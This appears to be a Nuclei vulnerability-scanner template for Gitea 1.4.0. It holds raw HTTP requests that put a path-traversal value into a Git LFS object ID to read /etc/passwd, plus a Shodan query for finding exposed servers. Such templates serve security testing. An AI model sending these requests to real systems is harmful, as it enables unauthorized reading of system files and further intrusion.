2023-03-18 22:07:09 +00:00
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id: gitea-rce
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info:
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name: Gitea 1.4.0 - Remote Code Execution
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author: theamanrawat
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severity: critical
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description: |
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Gitea 1.4.0 is vulnerable to remote code execution.
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reference:
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- https://www.exploit-db.com/exploits/44996
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- https://github.com/kacperszurek/exploits/blob/master/Gitea/gitea_lfs_rce.py
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metadata:
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verified: "true"
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shodan-query: 'title:"Installation - Gitea: Git with a cup of tea"'
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2023-03-20 07:05:15 +00:00
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tags: gitea,rce,unauth,edb
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2023-03-18 22:07:09 +00:00
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requests:
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- raw:
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- |
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GET /api/v1/repos/search?limit=1 HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /{{repo}}.git/info/lfs/objects HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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Accept: application/vnd.git-lfs+json
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{
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"Oid": "....../../../etc/passwd",
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"Size": 1000000,
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"User" : "{{randstr}}",
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"Password" : "{{randstr}}",
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"Repo" : "{{randstr}}",
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"Authorization" : "{{randstr}}"
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}
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- |
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GET /{{repo}}.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: regex
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part: body_3
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regex:
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- "root:.*:0:0:"
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- type: word
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part: header_3
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words:
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- "application/octet-stream"
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extractors:
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- type: regex
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name: repo
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group: 1
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regex:
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- '"name":".*","full_name":"(.*)","description"'
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internal: true
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